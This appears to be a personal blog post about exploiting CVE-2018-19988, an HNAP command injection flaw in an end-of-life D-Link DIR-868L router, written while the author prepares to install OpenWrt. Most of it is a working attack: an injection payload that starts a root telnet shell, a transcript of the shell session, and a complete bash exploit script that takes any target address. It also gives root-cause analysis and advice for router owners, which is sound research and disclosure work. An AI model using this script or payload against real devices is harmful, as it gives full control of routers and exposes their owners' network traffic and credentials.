Introduction

I’m working on porting OpenWrt to my old D-Link DIR-868L Rev B router. Before diving into the OpenWrt build process, I wanted to understand the device better by analyzing its firmware and security posture. What I discovered was both fascinating and concerning - this router is critically vulnerable to a well-known command injection exploit.

⚠️ Disclaimer: This research was conducted on my own device for educational purposes and as part of preparing for OpenWrt installation. All security testing shown here was authorized. Never test vulnerabilities on devices you don’t own.

The Device

  • Model: D-Link DIR-868L Rev B
  • Firmware: 2.03.B01 (April 19, 2015)
  • SoC: Broadcom BCM47081 (ARM Cortex-A9)
  • Status: End of Life, no security updates

CVE-2018-19988: Critical Command Injection

While analyzing the firmware, I discovered that this device is vulnerable to CVE-2018-19988, a critical OS command injection vulnerability with a CVSS score of 9.8/10.

Vulnerability Details

  • Affected Component: HNAP (Home Network Administration Protocol)
  • Vulnerable Endpoint: /HNAP1/SetClientInfoDemo
  • Attack Vector: Command injection via SOAP XML parameters
  • Impact: Complete device compromise with root access

How It Works

The vulnerability exists in the HNAP implementation, which processes SOAP XML requests without proper input sanitization. The AudioMute parameter is written directly to a shell script that executes with root privileges.

Here’s the attack flow:

<AudioMute>'`telnetd -l /bin/sh`'</AudioMute>

The single quotes break out of the intended wget command, and the backticks execute arbitrary commands as root.

The Exploitation Process

Phase 1: HNAP Authentication

D-Link’s HNAP uses a challenge-response authentication mechanism:

  1. Request Challenge: Send a request to /HNAP1/ with Action: request
  2. Calculate Credentials:
    PrivateKey = HMAC-MD5(PublicKey + Password, Challenge)
    LoginPassword = HMAC-MD5(PrivateKey, Challenge)
    
  3. Authenticate: Send login request with calculated password

The authentication was straightforward to implement once I understood the HMAC-MD5 calculation and the specific header format required (HNAP_AUTH).

Phase 2: Command Injection

With authentication in place, I crafted a SOAP request to inject a telnet backdoor:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope>
  <soap:Body>
    <SetClientInfoDemo>
      <ClientInfoLists>
        <ClientInfo>
          <MacAddress>11:22:33:44:55:66</MacAddress>
          <SupportedAction>
            <AudioMute>'`telnetd -l /bin/sh`'</AudioMute>
          </SupportedAction>
        </ClientInfo>
      </ClientInfoLists>
    </SetClientInfoDemo>
  </soap:Body>
</soap:Envelope>

Response: <SetClientInfoDemoResult>OK</SetClientInfoDemoResult>

Phase 3: Root Shell Access

$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

# id
uid=0(root) gid=0(root)

# uname -a
Linux DIR-868L 2.6.36.4brcmarm+ #1 SMP PREEMPT Sun Apr 19 15:24:40 CST 2015

Total time to compromise: ~4 minutes

What This Means

With root shell access, an attacker has complete control of the router:

  • Network interception: Capture all traffic, perform MitM attacks
  • Credential theft: Extract WiFi passwords, admin credentials
  • Persistent backdoor: Survive reboots, modify firmware
  • Lateral movement: Attack other devices on the network
  • Botnet recruitment: Install malware (Mirai, etc.)

The Vulnerable Code

After extracting the firmware (12.5 MB SquashFS filesystem), I found the vulnerable HNAP templates and handlers:

/htdocs/web/hnap/SetClientInfoDemo.xml    # Vulnerable endpoint
/htdocs/HNAP1/                            # HNAP handlers
/var/run/SetClientInfoDemo.sh             # Generated script (at runtime)

The root cause is insufficient input validation:

  • No sanitization of user input
  • No escaping of shell metacharacters
  • HNAP parameters written directly to shell scripts
  • Scripts executed with root privileges

Why OpenWrt?

This vulnerability (and several others in the same device) is the primary reason I’m replacing the stock firmware with OpenWrt:

  1. No security updates: Device is from 2015, firmware last updated 9+ years ago
  2. Multiple CVEs: CVE-2018-19986 through CVE-2018-19990 affect this device
  3. Insecure by design: HNAP implementation is fundamentally flawed
  4. Active development: OpenWrt receives regular security updates

The Complete Exploit Script

Here’s the full working exploit I developed to demonstrate the vulnerability. This script automates the entire attack chain:

#!/bin/bash
# D-Link CVE-2018-19988 - Enable Telnet Proof of Concept
# FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY

TARGET="${1:-192.168.0.1}"
PASSWORD="${2}"

if [ -z "$PASSWORD" ]; then
    echo "Usage: $0 <target> <admin_password>"
    exit 1
fi

# Helper function to calculate HMAC-MD5
hmac_md5() {
    local key="$1"
    local data="$2"
    echo -n "$data" | openssl dgst -md5 -hmac "$key" | awk '{print $2}'
}

# Step 1: Request Challenge
cat > /tmp/hnap_login_req.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>request</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>
EOF

LOGIN_RESPONSE=$(curl -s -X POST \
    -H "Content-Type: text/xml; charset=utf-8" \
    -H "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"" \
    --data @/tmp/hnap_login_req.xml \
    "http://$TARGET/HNAP1/")

CHALLENGE=$(echo "$LOGIN_RESPONSE" | grep -oP '<Challenge>\K[^<]+' | head -1)
COOKIE=$(echo "$LOGIN_RESPONSE" | grep -oP '<Cookie>\K[^<]+' | head -1)
PUBLIC_KEY=$(echo "$LOGIN_RESPONSE" | grep -oP '<PublicKey>\K[^<]+' | head -1)

# Step 2: Calculate credentials and authenticate
PRIVATE_KEY=$(hmac_md5 "${PUBLIC_KEY}${PASSWORD}" "$CHALLENGE" | tr '[:lower:]' '[:upper:]')
LOGIN_PASSWORD=$(hmac_md5 "$PRIVATE_KEY" "$CHALLENGE" | tr '[:lower:]' '[:upper:]')

cat > /tmp/hnap_login_do.xml << EOF
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>login</Action>
<Username>Admin</Username>
<LoginPassword>$LOGIN_PASSWORD</LoginPassword>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>
EOF

AUTH_RESPONSE=$(curl -s -X POST \
    -H "Content-Type: text/xml; charset=utf-8" \
    -H "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"" \
    -H "Cookie: uid=$COOKIE" \
    --data @/tmp/hnap_login_do.xml \
    "http://$TARGET/HNAP1/")

echo "[+] Authenticated successfully"

# Step 3: Execute command injection
CURRENT_TIME=$(date +%s)
CURRENT_TIME=$((CURRENT_TIME % 2000000000))
SOAP_ACTION='"http://purenetworks.com/HNAP1/SetClientInfoDemo"'
AUTH_HASH=$(hmac_md5 "$PRIVATE_KEY" "${CURRENT_TIME}${SOAP_ACTION}")
AUTH_HASH_CHANGED=$(echo "$AUTH_HASH" | sed 'y/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/')
HNAP_AUTH="${AUTH_HASH_CHANGED} ${CURRENT_TIME}"

cat > /tmp/hnap_exploit.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetClientInfoDemo xmlns="http://purenetworks.com/HNAP1/">
  <ClientInfoLists>
    <ClientInfo>
      <MacAddress>11:22:33:44:55:66</MacAddress>
      <NickName>test</NickName>
      <ReserveIP>192.168.0.100</ReserveIP>
      <SupportedAction>
        <AudioMute>'`telnetd -l /bin/sh`'</AudioMute>
        <AudioEnable>0</AudioEnable>
        <SmartPlugEnable>0</SmartPlugEnable>
        <ZWaveSmartPlug>0</ZWaveSmartPlug>
      </SupportedAction>
    </ClientInfo>
  </ClientInfoLists>
</SetClientInfoDemo>
</soap:Body>
</soap:Envelope>
EOF

EXPLOIT_RESPONSE=$(curl -s -X POST \
    -H "Content-Type: text/xml; charset=utf-8" \
    -H "SOAPAction: $SOAP_ACTION" \
    -H "HNAP_AUTH: $HNAP_AUTH" \
    -H "Cookie: uid=$COOKIE" \
    --data @/tmp/hnap_exploit.xml \
    "http://$TARGET/HNAP1/")

if echo "$EXPLOIT_RESPONSE" | grep -qi "SetClientInfoDemoResult.*OK"; then
    echo "[+] Command injection successful!"
    echo "[+] Telnet enabled on port 23 - connect with: telnet $TARGET"
fi

# Cleanup
rm -f /tmp/hnap_*.xml

Key Implementation Details

The exploit has three critical components:

  1. HMAC-MD5 Authentication: The HNAP_AUTH header requires case-swapped HMAC-MD5 hash
  2. Timing: The auth hash includes current timestamp modulo 2000000000
  3. Payload: The backtick syntax ' `command` ' breaks out of wget and executes arbitrary commands

Usage:

./exploit.sh 192.168.0.1 your_admin_password
telnet 192.168.0.1  # Root shell access

Lessons Learned

For Security Researchers

  1. HNAP authentication is tricky: The HMAC-MD5 calculation requires exact format matching and case swapping
  2. Challenge-response: Understanding the auth flow is critical before exploitation
  3. Read the firmware: Static analysis of extracted firmware reveals vulnerable code patterns
  4. Real-world impact: This isn’t theoretical - it’s a 4-minute root compromise

For Users

  1. Old routers are dangerous: 9-year-old firmware without updates is a ticking time bomb
  2. Disable remote management: Reduces attack surface significantly
  3. Use strong passwords: Even with vulnerabilities, authentication is still a barrier
  4. Consider custom firmware: OpenWrt, DD-WRT can extend device life securely
  5. Defense in depth: No single mitigation is enough - layer your security

References


All security research was conducted on devices I own, for educational and authorized testing purposes only.